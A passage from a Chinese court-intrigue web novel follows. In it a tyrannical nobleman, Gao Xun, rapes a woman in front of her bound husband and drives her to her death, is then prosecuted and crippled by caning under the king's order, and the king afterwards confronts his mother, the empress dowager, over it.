而这高逊在弥城更是行事狠辣,跋扈尤甚,一切随心随性,草菅人命都淡化他的罪行,此人有一骇人恶性,喜淫人妇,渔色无度,不仅如此,更加令人发指的是,偏要拘其人夫在侧,目睹他的**。
谁家有美妻,必被其强占。
纵然如此,百姓也是敢怒不敢言。
……
兰院深处一方较为隐蔽的院落,整面墙以灰白石垒成,灰壁上渗出青墨斑苔,院门前立着四五个劲装结束的高大护院。
其中一个以胳膊杵了杵另一人,往院里面努了努嘴,两眼戏笑。另一人歪着嘴靠在拱门上,往里面看了几眼,又漫不经心地移到别处。
他们这几人只守院外,院里还有七八人,守望在房门前。
每当高家郎君强行风月之事,便招十余人于院内外看守,不为别的,就怕有人来搅他的兴。
院内的护卫不似院外那般松散,个个面目沉毅,排列立在屋门前。
屋里断续传来女人难忍的凄喘,伴着哭颤,还有可疑的“吱呀”声。
屋外一片阳光明媚,清风徐徐,屋里却是另一番景象。
阔大的房间,奢华富丽,一眼看去珠围翠绕,金光铺地,只是桌椅歪倒,地面散乱着破碎的瓷片,墨绿色的桌布斜拖于地,只有一角悬悬挂着,被一个茶盘压住,要掉不掉的样子。
女人凄凄的呜咽声还在继续,那“吱呀”声也在继续……
斜阳透窗而来,金色的地砖上是狼藉的碎瓷片和歪倒的桌椅,还有……破碎的女人衣衫……
屋子正中有一根梁柱,柱上绑着一男子,男人正脸迎着一张宽整的床榻,床榻的纱帐大大开着,像是戏台上拉起的幕帘,将榻上交叠耸动的男女完完全全展露出来。
男人嘴里塞了布条,只能发出沉沉的嘶吼,因太过用力,脖子上的青筋鼓出,一双眼似要睁裂一般,嘴里的布洇出血渍,兴许是嘶吼太过,喉管涌上来的。
终于,晃荡的纱帐不再晃荡,吱呀声也没了。
榻上的男人披衣下榻,懒懒地系上腰带,敞阔的胸前挂着滢滢汗珠。
男人赤足走到桌边,从茶托里取过茶杯,给自己倒了一杯冷茶,慢慢呷了两口,清润的茶水降了他身上的燥热,正待喝下第三口,床榻上飞速冲来一个人影,就在那人影冲撞而来时,绑于柱上的男人发出更加粗嘎的吼。
高逊不慌不忙地一抬手,揪采住冲撞而来的女人的头发,在她脸上看了两眼,再一推,女人赤着身擦趴在地。
那女人艰难地从地上坐起,扭过头看了眼梁柱上的男人,那是她的夫,在她看向他时,他亦回望着她,男人脸上全是泪,全是血,不再竭力嘶吼,只是一味地摇头,边哭边摇头。
他的妻子,他懂,所以他知道接下来会发生什么事……
没有丝毫犹豫,女人转手抓起地上的瓷片,猛地起身,扎向眼前男人的颈脖。
尖锐的瓷片划破皮肉,滚热的血液喷出,女人瞪大双眼,原本刺向对方的瓷片,回刺到自己的身上。
高逊一手揪住女人的头发,一手包握着女人的手,干净利索地控着她了结自己的性命。
最后一刻,女人死死拽住男人的衣衫,拼着最后一口气,断续道:“**杂种……你会……遭报应……”
高逊冷冷地嗤了一声,根本不在意,十分不耐烦地扒开女人的手,朝外叫了一声:“进来人。”
话音一落,立时进来几个护卫,见了房中情景,不用另作吩咐,自然地用一块床布,将地上还未凉透的尸身裹起
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,抬了出去。
高逊又招来丫鬟替自己更衣理装,更衣毕,走到梁柱前,十分得意地拍了拍男人的脸,嚣张说道:“你女人的滋味不错,难得找到这么得趣的,可惜了,偏要寻死。”
说罢,见那男人低垂着头,双肩隐隐颤抖,以为他在极悲之下悲戚,随之发现不对,他不是在哭,而是在笑。
先是无声,再然后慢慢笑出声,虽然嘴里塞着布条,那笑声渐大,近乎癫狂。
他还是头一次碰到这样的情况,觉得有趣,遂扯下男人嘴里的布条。
男人慢慢抬起头,咧嘴笑起来,笑得没有任何声响,一口牙上全是血,看着有些骇人。
高逊哼笑一声,觉着索然,转身待要离去,身后的男人开口了。
“我妻常常说我乌鸦嘴,咒人最有一套,高逊,日子还长,走着瞧,我洗眼等着看你遭报应,兴许不用多久,你走出这个门,就撞灾,厄运加身,届时我定放鞭炮庆贺三个日夜。”
男人说罢颠笑出声。
高逊就喜欢看这些贱民无能为力下只能寄托轮回报应之说,不过是虚妄地宽慰自己赖活下去。
“别说我高家为上姓,只要我姑母仍是圣太后,连王座上那位看了我也得叫一声表兄。”
他要打破贱民们的幻想,将他们踩在泥里,看他们垂死挣扎,直到绝望等死。
果然,男人听后,眼中最后一点光寂灭了,只有空洞洞的绝望。
高逊蔑视地笑了两笑,阔步走出房门,几名护卫随在他的身后。
出了这方僻静的院落,经过湖面曲桥时,迎面撞上一人,高逊往后退了一步,十分嫌弃地弹了弹衣衫,再看那人,个头瘦小,皮肤黝黑,看着面生,不像兰院的常客。
那人兴许喝多了酒,嘴里骂骂咧咧。
高逊不听还罢,一听火窜脑门,从来只有他找别人的麻烦,在弥城谁看着他不绕道走,未曾有人敢不要命撞上来,简直不知死活。
“打!”
男人轻描淡写一声,身后的护卫立时上前将男人圈围住,拳脚相加。
那瘦小男人本就醉着,先是挨了几踢,蜷缩抱头蹲在地上,口里叫骂道:“你们是何人,还有无王法?公然行凶**!”
高逊不将男人放在眼里,正待离开,不承想那人却挣出一条胳膊,扯住他的衣摆:“你别想跑,我要去官府告你。”
“告我?”高逊摆了摆手,让护卫停下殴打,“去告罢,我等着。”
瘦小男人气哼道:“报上姓名。”
高逊一脚将男人踢倒,那男人本就蹲在地上,个头又小,这一踢直接让他仰倒,连带滚了个跟头。
“听清楚了,大爷我是高家人,人称逊郎,可记住了?告去罢。”
说罢带人离开。
待这些人离开后,瘦小男人从地上站起,定定地看着高逊离去的方向,然后拿袖子擦了擦嘴角边的血,轻笑一声,掉过身轻快地离开……
第122章 强人之妻
次日,高逊同几个权贵子弟正在游仙窟的雅间听曲儿。
这游仙窟是弥城一等一的风月场所。
几名带刀衙役走到他们面前,看向主座上的高逊,冷声道:“高家郎君,现有人向衙门递诉状告发你,随我等走一趟罢。”
桌上一片寂然无声,歌舞弹唱也停了。
安静中,一个声音笑道:“高兄,这又是哪个不知死活地踢到你这块铁板,居然告到府衙。”
桌上众人听了,俱哄笑出声。
高逊笑着摇了摇头,似是有些无奈,对面前的几名衙役说道:“行了,知道你们也是为了完成差办,去罢,回头我到你们老爷那里说一说,就完事了。”
几名权贵子弟开始让侍女倒酒,戏闹声渐起,歌舞重奏。
当头的那名衙役又道:“想来高家郎君没听明白我等的意思,莫让小的们为难,劳您走一趟。”
才起的戏闹声骤然而止,众人有些摸不清状况,隐隐觉着这次情况有些不对。
高逊表情渐冷,一双眼缓缓下移,几名衙役的手已握在刀柄之上。
游仙窟众人不知发生了何事,只见几名衙役押解着一人出了楼。
“莫不是我眼花了,刚才那人是高家郎君,高逊?”一人说道。
旁边一人接话道:“好像真是他。”
周围私语之声渐大,不惊诧于高家人犯事,而是惊诧于高家人犯事后被抓,这可是前所未有的事。
“走!走!咱们跟去看看!”不知谁说了一声。
众人听说,酒也不吃了,曲儿也不听了,赶着出了游仙窟往官廨涌去。
路上行人有看见高家人被押解的,亦有没看见的,那看见的人凑热闹跟在衙役后面,没看见的,见着好些人赶集似的不知往哪里去,也兴兴头头跟前一道凑热闹。
一时间人流如粥,密密匝匝。
待到衙门之时,衙门口已是蚁聚蜂屯一般。
高逊走到堂中,看了眼上首的弥城府令,然后又看了跪在堂下的男人,黑瘦,小个头,正是昨日在兰院撞上的那人。
高逊走到那人身侧,半屈下身子,低声道:“不过打了你一顿,你还真告到衙门,打量爷不知道你的目的?”说着冷嗤一声,又道:“要多少银子,报个数。”
那人一个正眼也不给高逊,只是直直看向前方,却用更低的声音说道:“不要你的钱,要你的命……”
高逊先是一怔,接着大笑出声,直起身,看向弥城府令,说道:“大人,不过一场小小的私人恩怨,何至于兴师动众传我前来。”
这话里的意思居然在责府令小题大做。
衙门口密集的看客们无不嗟叹,高家在弥城不仅是普通百姓得罪不起,就连府令也不敢将其得罪,高家啊,背后可是立着一尊大佛哩!
今日这场官司只怕还没开始就要结束了,他们不知在虚妄地期待着什么。
思忖间,一个威重的声音说道:“高家子,既是到了公堂,为何不跪?”
众人循声望去,府令发话了。
弥城府令,五十来岁年纪,须发却已花白,神清貌古。
这任府令在弥城还算口碑载道,正直公义,当然了,如果涉及高家之事,那就又是两样,这也不怪他,高家不是他一个府令可以得罪的。
今日这是怎么了,先是衙役押解高逊到公堂,后又让其跪下,俨然一副公事公办的态度。
众人心里又升起几分看热闹不嫌事大的盼望。
高逊看向上首的府令,面上彻底冷下来,显然连最后一点耐心也没了。
“让我下跪?”男人呵了一声,“叫你一声大人都是抬举你,我高家旁支在京都为官者不知几许,随便一位都高出你一府令几头,你安有胆子让我下跪,尔等小吏可受得起?”
此话并非虚言,高逊乃高家大宗嫡出,其父正是高家掌舵之人,亦是当今圣太后之同胞兄弟,这高家郎正正叫圣太后一声姑母,而夷越王更是高逊嫡亲的表弟。
高家旁支在京都为官者甚多,此等狂言从他嘴里说出却算不上狂言,不过是道出实情。
这要放在往常,弥城府令也不敢如此,为官多载,做不到绝对的刚正不阿,不过是在相对条件下,尽保公正罢了,但凡涉及高家,他都是能避则避,睁一只眼闭一只眼。
然而,今次情况却不一样……
“左右何在?!”府令一声道呵。
立时从旁上前几名手执木棍的衙役,一左一右,木棍从高逊臂间穿过,将其双臂反剪于身后,狠狠地往下一压。
男人“砰——”的一声跪倒在地,半边身子都伏贴于地面,十分狼狈。
“老杀才,尔敢!”即使如此,高逊仍是嘴上硬着,他活到如今,从未受过此等**。
高逊的小厮见了,料准形势不对,从人群退去,急忙往高家通风报信去了。
高逊吃力地抬起头,恨声道:“你此番做派可想清楚了,之后兜不兜得住!再者,不过是私人之间因纠葛动了手脚,什么大不了的事,又能把我怎样?!”
“私人纠葛动手脚?高家子,我想你是弄错了,堂下这位可不是告你伤人。”弥城府令说着,看向一边的书吏,书吏起身,照着案上的状纸宣读起来。
“状告高逊戕害良善、霸产辱民事
一、建康年,高逊觊觎弥城南市苏合氏宅邸,苏合家主坚拒不允,竟遭其鹰犬缚至城郊,以刃加身,惨遭屠戮,高逊遂鸠占鹊巢,改宅名曰兰院。
二、高家子常见良家妇色,强掳**,以其夫旁观,妇人贞烈,受辱后自戕而亡,血泪斑斑。
三、……
伏乞青天老爷明镜高悬,按《夷越律》谋财害命、强夺**诸条,将此獠明正典刑,以慰冤魂,泣血具状!”
条条罪状无不让人愤慨唏嘘,衙门前围聚的众人总算等到这一天,想看高家子的下场。
高逊原以为此人状告他伤人,心道大不了赔些钱,谁知翻出旧账不说,把他往日的行径也一并诉了,此时才开始有些发慌。
当下明了这是有人要算计高家,拿他做筏子,瘦小男子背后一定有人指使,一切都是安排好的。
转念一想,不要紧,高家有圣太后
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撑腰,谁敢不要命动他高家,他这边出了事,奴才们肯定回去报信了,用不了一会儿,就会有人来救他,他会没事的。
“高家子,这些罪状可认?”弥城府令冷声问道。
高逊仍被衙役压伏于地,粗喘着气,府令摆了摆手,让左右退下,好让其起身答话。
高逊松了松肩膀,说道:“毫无根由,说我谋财害命,强压**,证据呢?难不成随便来一人,胡编乱造一通就能定我罪责?”
他敢这样笃定,也是因为当年强占苏合大院时所有知情人皆被处理掉,但凡涉及人命之事,他绝不给自己留后尾。
至于强占**,更加不值一提,牵扯不上人命,顶多算他德行败坏。
事实也确实如此,当年所有的人证、物证皆已销匿。
然而今次不同,有人要治他,没有证据也给你造出证据。
所以当堂上呈出所谓的“证据”之时,高逊满脸不可置信地看着堂上的人证和物证,怔愣了半晌,嚷声道:“不可能,假的!都是假的!”
“放肆!公堂之上岂容你狡辩。”
接下来,又是强人之妻的证据,上来的便是妇人的夫,男人眼眶血红,直言高逊辱杀自己的妻子。
“放**屁,是那贱妇想要杀本大爷,大爷我不过为保性命,这才失手杀的她。”高逊也急了,装也不装,撕下上姓之家浮露的礼教。
一个自称失手**,一个咬定故意杀害,谁真谁假根本不重要,其实这案子不用审,不过走个过场,结局早就定好了,就是要拿高家大宗开刀,还特意挑高家最金贵之人下手,可见有多狠了。
弥城府令大喝一声:“来人,高家子,高逊谋财害命,强人之妻,先仗八十大棍,上刑!”
此言一出,衙门前围观的众人激动不已,热血沸腾,老天开眼,恶人终遭报应。
左右得令,就要上前压高逊于堂前仗打,这八十棍下去,不死也残。
高逊哪肯伏法,叫骂道:“小吏安敢动我!老头儿,你这官不想做,难道连命也不要了,可要想好!”
左右见府令态度坚决,便将人押伏,欲要行刑,高逊挣脱不得。
正在此时,衙门口出现异动,围观者被青衣排兵以仗担于两边,空出路来,路头行来一人,不是别人,正是高家家主,只见其高长体量,蓄短须,双目炯炯。
这高家家主,高阿克,虽不在朝为官,族中支系却多在朝为官,可谓是枢机暗握,权柄潜操,恰似姜太公持竿,而众能人影从。
衙门口围观的众人见高家主都来了,心里一凉。
弥城府令见了,当下从案后走出,趋步下阶,同高家主见礼:“高公来了。”
高家主先是看了眼被压伏在地的高逊,再看向弥城府令,笑了笑:“犬子这是犯了何事?触怒了大人?”
府令面对高家主时过谦的姿态,让围观之人心里又是一沉,心里才升起的星火彻底灭了,知道今日治不了高逊的罪责,这案子不用审了,随即又看向依旧腰板挺直跪于堂中的瘦小男人,这人只怕活不了……
第123章 报应来了
形势两转,衙役不再压伏高逊,整个衙门被高家的青衣兵布控。高氏坐拥私甲于弥城,其青衣兵皆为蓄豢之卒。
弥城府令面对这位大人时,已全然没了刚才的沉毅,让人搬来座位,请高家主入座,又命人上茶。
此时,高逊已起身,走到他父亲身侧侍立,嘴角带着快意,看了一眼堂下跪着的瘦小男子和那人夫,目透阴狠。
高家主入座,问弥城府令,其子所犯何罪。
府令见他发问,便让书吏将诉状再次宣读。
“可否让老夫看一看那诉状?”高家主说道。
府令给书吏睇上眼色,书吏忙趋步上前,将诉状双手呈递。
高家主接过,扫了一眼,一面看一面点头,接着“嗯——”了一声,然后在众目睽睽之下撕了诉状。
衙堂针落可闻,连同府衙前围观的众人也不敢啧声,正在此时,一个声音打破强压下的寂然。
“呀!诉状撕了?!无碍,学生这儿还有一张。”
众人看向发声之人,正是那名瘦小男子,只见他从衣襟里掏出一纸,双手高高举起。
高逊抢步上前,抬起一脚,狠狠踹在男人胸口,将诉状匹手夺过,“嘶啦——”,诉状再次被撕毁。
瘦弱男子笑着从地上爬起,继而又从胸口掏出一张,说道:“这儿还有,一并撕了?没关系,你撕你的,我写我的。”
高家主这才将目光落到瘦弱男子身上,端睨了一会儿,问道:“老夫观你似是读书之人,莫要为了一时意气,阻了自己的前程。”
瘦弱男子从地上爬起,揉了揉胸口,仍是轻松道:“老大人,学生的仕途早就没了,还谈何前程?”
高家主了然,说道:“不过些微小事,你到我府上来,我给你谋一职差,此事揭过,如何?”
高逊听了,激愤道:“父亲!怎的还给他谋差……事……”高逊在他父亲横来的目光下,闭上了嘴,转而明白了父亲的用意,先把此事了结,待这男子到了他高家,如何处置还不是由他说了算。
高家主等着瘦小男人答话,衙堂内外皆屏息以待,等着男人的回答,其实众人已料准结果,换作谁,都会欣然接受,趁机趋奉。
“府令大人!”瘦小男子唤了一声。
弥城府令被这一响亮声叫回神,震了震精神,问道:“何事?”
“可否借学生笔墨一用。”
众人不知男人要做什么,书吏将笔墨拿来,瘦小男子接过,将怀里的诉状平整铺于地面,执笔俯身,一面写一面念:“高家家主,贿赂公行,悬秤卖官,以致风俗颓败……”
此话一出,衙门前众人哄得一声笑,在替男人捏一把汗的同时,又不可不谓之畅快,他们这些人中,大多是普通人家出身,就想看看今日这场大戏会是何种结果。
高逊见男人这般不识相,就要上前给他一番教训,再次被他父亲拦下。
“你叫什么名字。”
男子抱拳道:“学生姓崔,名致远。”
“可知这样做的后果?”高家家主问道。
虽有青衣兵架棍拦阻,可衙门前**人众太多,他本想把事情捺下,事后再将堂上之人解决,看来是不行了。
崔致远但笑不语。
高家家主站起身,打算尽快了结此事,朝左右吩咐道:“此人借由污蔑,向我高家索要钱财,索要不成,便败坏我高家名声,来人!将此人先仗八十棍,再押入大牢。”
说完,看向弥城府令,问道:“老夫这样做,大人没有异议罢?”
弥城府令看了眼那男子,为难起来,心道,若是接了诉状,继续审案,便得罪了高家,若是伙同高家,便得罪了京都城的那位,想到这里,浑身一激灵,那位是万万不可得罪的,遂咬牙道:“来人,将高逊押下,仗八十!”
高逊头一次对自己的名字产生怀疑,不是将“崔致远押下”而是将“高逊押下”?
当衙役向他走来时,他肯定了,刚才没听错。
“父亲……”高逊看向自己的父亲,不对,太不对了,他甚至预感,高家这次保不住他。
高家家主脸色铁青,一把将桌案的茶盏挥向地面,砸了个粉碎,茶水溅了一地。
“老夫今日倒要看看,谁人敢动我儿?!青衣军何在,速封府衙!”
封府衙?!
衙门外的人群开始骚动,这是彻底撕破脸了,高家打算驱人封锁,待到次日,他们弥城的府令就不是现在这一位,而堂下跪着的那两人,毫无疑问会消失,时日一久,再无人记得他们。
就在青衣兵驱人之时,一个声音从府衙外响起:“高公这是把公门作私邸,想开就开,想关就关,竟如掌中门户般随意。”
众人循声看去,是一个十分高大的男子,阔脸浓眉,一身英武之气。
男人身后如潮水般涌现大量银甲军卫,行走间是铁甲清脆且沉重的铿锵声。
直到这一刻,高家家主,高阿克,一颗心完全地坠到了底,这些人是王庭亲卫!
高逊见他父亲脸色难看,再见涌现的银甲卫,喃喃道:“怎么会这样?怎会这样!”猛然转头对他父亲说道,“父亲!你说话,姑母,对,去信给姑母,她不会坐视不管,父亲,你快去信给姑母,她不会不管逊儿,对了,还有表弟……”
“给我闭嘴!”高阿克喝道,今日这出只怕就是他那身为君王的表弟搞出来的,否则身为亲卫首领的阿多图怎么出现在此,高阿克看向来人,说道,“阿多图,这里可是弥城,是我高家的驻地。”
阿多图笑道:“高公这话不对,不论是弥城还是任何城镇,皆是王土。”
话音一落,阿多图面上笑容陡然一降,再无废话,抬手往前一招,立时上来四名银甲军兵,两名把高逊押上刑凳,束绑好,另两名手执木棍高高举起。
一套动作下来又干脆又利索。
衙门前围观之人越来越多,被这遽变之势所震慑,无不愕叹,这般阵仗哪里像寻常审案,分明是将帅帐前行军法。
而高家的青衣兵在这些银甲军
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面前,如群羊伏草,动也不敢动。
只见两名银甲卫木棍高举,重重落下,棍仗击肉,又沉又闷,那高家郎嘴里塞着布团,叫喊不出,只有惨惨呜吼。
眨眼不到,又是一棍重重落下,每一下都是实实打在臀脊处,不一会儿,下身的衣衫渗出点点血斑,那朵朵血渍晕成一片,连在一处,湿皱地贴着男人的下身。
惨闷的呜吼渐渐变弱。
堂中跪着的人夫,见高逊人不人鬼不鬼的模样,喃喃说道:“吾妻,你可看见了。”
高阿克面目青灰,一语不发,终是忍不住,一屁股倒坐在身后的座椅上。
而围观的众人直直看着眼前这一幕,有人捏紧了拳头,有人咬着牙,亦有人眼中藏笑,无疑他们是兴奋激动的。
每仗打一下,他们心里就快意一分,恶霸终于遭到报应了。
八十刑杖罢,刑凳上的人死活不知。
阿多图上前,并指探向高逊的鼻下,气如游丝,不过还活着,于是看向弥城府令:“府令大人,八十棍已毕,接下来该如何?”
府令擦了擦额上的汗,咽了咽喉,说道:“该监押于牢房,落后再审。”
高家家主在随从的搀扶下颤颤起身,不过半日的工夫,好似苍老了十岁不止。
“留他一口气罢,若要收押,便让老夫将他带回看管,如何?”
府令听罢,看向阿多图。
阿多图溜了一眼刑凳上的高逊,就算让他回高家也无所谓,左右后半辈子是个废人。
“既是高公发话,那便将高郎君交到高公手里,只是……高公定要将人看押好,若再出来害人性命,报私仇,叫那位知晓了,就不好了……”
阿多图看了一眼堂上跪着的那位人夫。
“阿多图大人尽可向上复命,老夫一定看管好犬子,再不叫他胡乱行事。”高家主说道。
直到阿多图带人马离去,衙门口的人群仍是没有散去,这些人里有生意人、庄稼人、读书人,亦有富户子弟,他们中的大多数原是抱着看热闹的心态,直到高逊生死不明地被抬出府衙,仍觉着有些不真实。
只有极少数人察觉出此事并不简单,他们注意到退堂后,那名催姓状告人随着那位将军一起走了。
高家正房嫡出的大郎,高逊,被带回了高家,人是保住了,只是下半身瘫了,再也不能直身行走,只能靠轮车推行。
……
薄脆的信纸在老妇人手里抖着,高太后盯着手上的信件,好半晌才从信纸上抬起眼,喘了两喘,身边的金掌事见状赶忙将茶盏递上。
“太后,喝些茶,平一平。”
高太后挥手抵开,虚着声气,胸口窝着火,却连把这火气发泄出来的力道都没有。
这就是在报复,他见她刁难梁女,让她下跪,转过身他就打断逊儿的双腿,作为儿子,他不敢对她这个母亲如何,便将气发泄到她的母族,威胁告诫她。
为了一个异族女子,他竟做到这个份上。
“叫他来,叫他来……”
第124章 没人能越过她去
金掌事自然知道这个“他”是谁,整个王庭能把太后气成这样,除了大王,不会有第二个人。
高太后看着眼前的小儿子,好似从来没认真看过他。
“你为了一个异族女子,连你表兄都下得去手,你的心让狗吃了?”
不知是不是祥云殿地势较高的原因,这里的阳光更加强烈,母子二人对坐于凉亭,只有隐隐风动。
呼延吉默然不语,高太后以为他在听,继续道:“逊儿的腿已是不能恢复,高公为此病倒,如今另外四上姓皆看高氏一族的笑话。”
“那母亲的意思是?”
高太后想了想,高氏大宗不需要官爵,金银器物更是不缺,这些对他们来说无足轻重。
“你下一份罪己诏,或是在邸报上承认自己的罪责和过失,向高氏一族赔罪,另再向逊儿认个错儿,这事我看能不能揭过。”
呼延吉复问道:“母亲让我给高氏赔罪?”
“你虽为夷越之主,可高公是你长辈,逊儿更是你的表兄,你赔个罪怎么了?只要我还是你母亲,你身上流的便有一半高家血,就算你当了天上的神仙,那也得认下高家这门亲!”高氏难得缓下声调,说道,“你给他们认个罪,不算丢脸。”
高氏说罢,半天不见对面回应,看了过去,就见小儿子垂着眼,不知在想什么。
“我的话你可听到?”高氏有些不悦,从前无论她说什么,他都会很快应下。
小儿子才从梁国回来那会儿,每日下朝都会到她这里坐一坐,哪怕她冷着他,他也安静地坐在那里陪她。
若她记起他来,敷衍着问他的起居日常,他便很高兴地回答,她随口问一句,他可以说很多话,直到见她不耐,才渐渐打住话头。
后来,她免了他的问安,先开始,他仍是来过几次,每每来时,她都避而不见,他再就不怎么来了。
单单为娶一个梁女,她不至于恼成这样,不过是气他为了一个梁女不将她这个母亲放在眼里,这让高氏不能忍。
呼延吉终于抬起眼,看向对面,说道:“母亲让我给你那侄儿赔罪,给你那兄长赔罪,莫不是在玩笑?”
高太后柳眉立起,整张脸都丧恨着:“什么叫我侄儿,我兄长,他们不是你的长辈和兄弟?!我看你就只认梁人作亲,把自己真正的血亲给抛在脑后。”高氏缓了缓,大发慈悲一般,“也不要明日了,就今日把罪认了,登于各地邸报,晓谕天下。”
高氏料想自己把话说到这个份上,小儿子不会再说什么,他一向还算听自己的话,且她也是为了他好。
呼延吉冷笑一声:“照母亲这种说法,高阿克为我长辈,高逊为我兄长,若他们进了朝堂,我是否该从王座趋阶下迎,当着众官之面,恭敬叫他二人一声舅父和阿兄?然后再请他二人上座,或是直接请上王位?毕竟他们是我血亲,血亲高于一切,甚至高于王权,我年纪轻,高氏一族随便拎个人出来都算我长辈,照此一论,岂不是高氏一族要压我呼延氏一头?”
高氏被他说得辩解不得,可也不甘愿就这么退让:“我不过让你给向高公赔个不是,你却扯上朝堂。”
“君王给臣子赔不是,前一脚责罚高家,后一脚就拟罪昭告天下,依我看,把呼延氏祖宗气活的不是我,而是母后大人。”
“好,好,你如今眼里是没我这个母亲了,想来之前都是装的样子。”说着不免湿了眼,今日她非得让他应下,给高家赔罪,她已习惯在小儿子面前颐指气使,也认定了他会依从。
正在思索时,却听呼延吉淡淡说道:“以后梁妃在祥云殿的晨省昏定就免了罢,母亲年岁已高,只管颐养天年,其他的事情还是不要过问的好。”
高氏不敢相信这是他说的话,她刚才说了那么多,他根本没当回事,居然更进一步免了梁女的问安。
高氏攥紧拳头,蓦地又松开,流出两行泪,泣道:“我生了你一场,你就这样回报我,若是你兄长还在,他绝不会这样待我,到底不是我跟前长大的,哪里有心。”
呼延吉了解自己母亲的脾气,所以并不太愿意同她争执,她时常挂在嘴边的是兄长,而他呢,完全不像她的孩子似的,有时候呼延吉甚至想,他可能真不是她的孩子,是父亲另外的妻室所生,如果真是这样,他倒可以向自己譬解,也可以释然。
然而,他知道那不可能,他遗传了她三分的容貌,他无疑就是她的孩子。
母亲总会在他面前说兄长如何好,如何优秀,他只是默默地听着,尽管在她的那些话里,他会成为反面的对照,但他从不反驳。
不是因为他对母亲的孝心,而是因为兄长。
呼延吉其实很想问高氏,为何她对兄长喜爱,待他却如此厌弃,当然,他不能问出口,因为一旦问出口,好似辜负了兄长对他的付出和爱护,在他心里,他不愿同兄长比较,那样对他很不尊敬。
这也是让呼延吉最痛苦的一点。一面接受高氏无理地压制,一面告诉自己,他确实没有兄长优秀。
高氏好似了解这一点,也拿捏住这一点,每当她提出大儿子,小儿子便会无言地承受和屈从。
她以为这次会同以前无数次一样,他会自责,会向她低头,然后应下她的要求,然而她却料错了。
“母亲待兄长是什么样,待我又是什么样?从前我还未去梁国之前,母亲便不大管我,全靠兄长看顾我,待我去了梁国,母亲可有给我来过信?哪怕一封也好,没有,您好似没我这个儿子一样。”
呼延吉站起,走到亭栏边,背过身,看向湖面,说道:“儿子在梁国过得如何,母亲可有关心过?有无受人欺辱,有无交好的友人,有无学习长进,有无好好吃饭,长了多少个子……这些,您可有问过?”
高氏张了张嘴,终是没说出一句话。
呼延吉笑了一声,双手撑在
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栏上,声调变轻:“我才去那会儿,在路上遇了匪,随行之人皆**,我被贩到人牙子手里……是她救的我……”
高氏面色一变,这些事情她并不知情,成儿也未同她提过。
“他们骂我是妖怪,说我不是人,扒我的衣衫,当众羞辱我时,也是她护在我身前,替我骂回去,帮我打回去,从来有好吃的,还会差人给我送一份,她教我梁人的行止规矩,学穿梁人的衣着,让我在外不被人耻笑,还让她阿弟带我融入仕宦子弟的圈层,这个世上,除了兄长以外,就是她待我最好。”
说到这里,肩窝处早已好完全的疤痕又开始隐隐作痛。
呼延吉掉过身,看向自己的母亲,郑重说道:“母后大人,不论您如何轻看我,或是厌恶我,我仍是孝敬您,但有一点,希望您明白,您同她在儿子心里,她更为重要,没人能越过她去。”
这个时候,高氏已经完全忘了两人谈话的缘由,被他说的这番话震荡得呆木在当场。
“不怕让您知道,您不是担心她诞下子嗣污王室血脉么?”呼延吉走到凉亭口,侧过身,“眼下不育王嗣并非儿子怕污王室血脉,而是为她考虑,为我同她以后的孩儿考虑,待时候到了……”男人说着,嗤笑了一声,阔步离开。
呼延吉回了西殿,不见江念,问了才知她去了制香堂。
洛三姑侧目看向这位新封的梁妃,这几日她都会往制香堂跑,一开始以为只是图新鲜,来个两日便不再来了。
不承想,连日来,差不多午歇后她都要往制香堂来一趟,最开始,堂里的香工们会放下手里的活计,跪迎,然后再围随应候。
第二次她来,便让堂里的香工们不必在跟前应候,她会在香堂围转,这个香案上看一看,那个隔香间走一走,看得很认真,还不时点点头,或是蹙蹙眉,间或问上两句话。
香工们自然极尽恭谦地答话。
再次来时,制香堂特意清出一张制香案,而这位梁妃褪去一身华服,着一件藕色窄袖阔领掐腰长衫,外罩一件葱白及膝绢衣。
来后,也不多话,只在制香案前忙自己的,遇到问题也是先翻架上的书册,实在寻不到解决之法,再向他人询问。
几日相处下来,大家对这位梁妃倒有些刮目相看,不再因为她的身份奉命回答,而是近乎一种探讨的应话。
江念收起手边的器具,整整齐齐摆放好,出了制香堂,却并没回西殿,而是去了另一个方向。
“殿下,我们现在去哪里?”阿星问道。
阿星的手伤已痊愈得差不多,便被安排进了西殿,江念见她手伤并未好完全,问她可需再休整段时间,她却坚持要跟在江念身边。
“去一趟司药局。”江念说道。
阿星抬头望了望天色,劝道:“这个时候大王已经回了,不如回西殿罢,别去那什么司药局。”
江念看了她一眼,想说些什么……
第125章 他们的孩儿
江念笑了笑,并不言语,仍是朝司药局行去。
阿星便不再出声,随在她的身后。
江念进到司药局的前院,因她是常服装扮,局子里的各人又忙着手里的事情,便没有太注意她。
她走到一个正在拣药的女婢边,问道:“云娘可在?”
那女婢正觑眼拣药,药材本就细小,杂末又多,肩颈弯了半日,正烦着,听人问云娘,只当是局子里当值的人,不耐道:“正忙着,你自己找找,我哪里知道她人在哪儿。”
“你怎么回话的。”阿星上前一步,说道。
“什么回话,大家都是奴才,还摆起主子的……”女子气得一抬头见到梁念时,立马噤了声,连忙跪下,“婢子不知是梁妃殿下,婢子瞎了眼,婢子该死。”
江念让她起身,问道:“无事,云娘呢?”
那宫婢忙朝一个方向指去,又醒悟似的,说道:“婢子在前引路。”
“不必了,你忙你的。”江念说着往另一边行去。
那宫婢见江念走了,仍是立在那里不敢动。
这司药局几进几出,分隔出好些大小不一的院子,江念穿了一个长廊,才见着她要找的人。
四方院,院子里摆了一张长案,长案左边放着两个簸箕,桌案下还摆了三个大簸箕,云娘就伏在长案右边,背对着她的方向,不知在做什么。
而她的身侧还坐着一男子,同她隔着一点距离,因角度问题,江念能看到那男子的侧貌,好像是王庭里的宫医。
只见男子不时往云娘那边看一眼,不知云娘嘀咕了一句什么,男子微微倾过身,手指在桌案上,说了几句,云娘似懂非懂地点了点头。
“云姐姐?”江念笑喊了一句。
云娘回过头,见是江念又是笑又是要行礼的样子,而那位宫医上前两步,端端正正行了礼。
江念抬手示意免礼,又对云娘说:“随意些。”
江念让阿星不必在她跟前,那宫医也跟着退下。
“云姐姐,你近日来可好?”
云娘迎江念在案前坐下:“江娘子莫担心我……”说着拍拍嘴,“从前叫习惯了,该叫梁妃殿下了。”
江念笑道:“别人怎么我叫都成,你还照从前那样叫我江娘子,我听着亲。”
云娘笑着点头:“劳你记挂,我没什么不好的,在哪里都能活,却是你,好长一段时日去了哪儿?我去西殿问你,她们只是闭口不言,去了几次,都见不到你的人,料想你出了事情,我心里急着,让申宫医帮忙打听,他毕竟是官身,谁知他也探不到半点消息。”
云娘口中的申宫医,便是刚才离开的那位,江念有些印象,去过西殿几次。
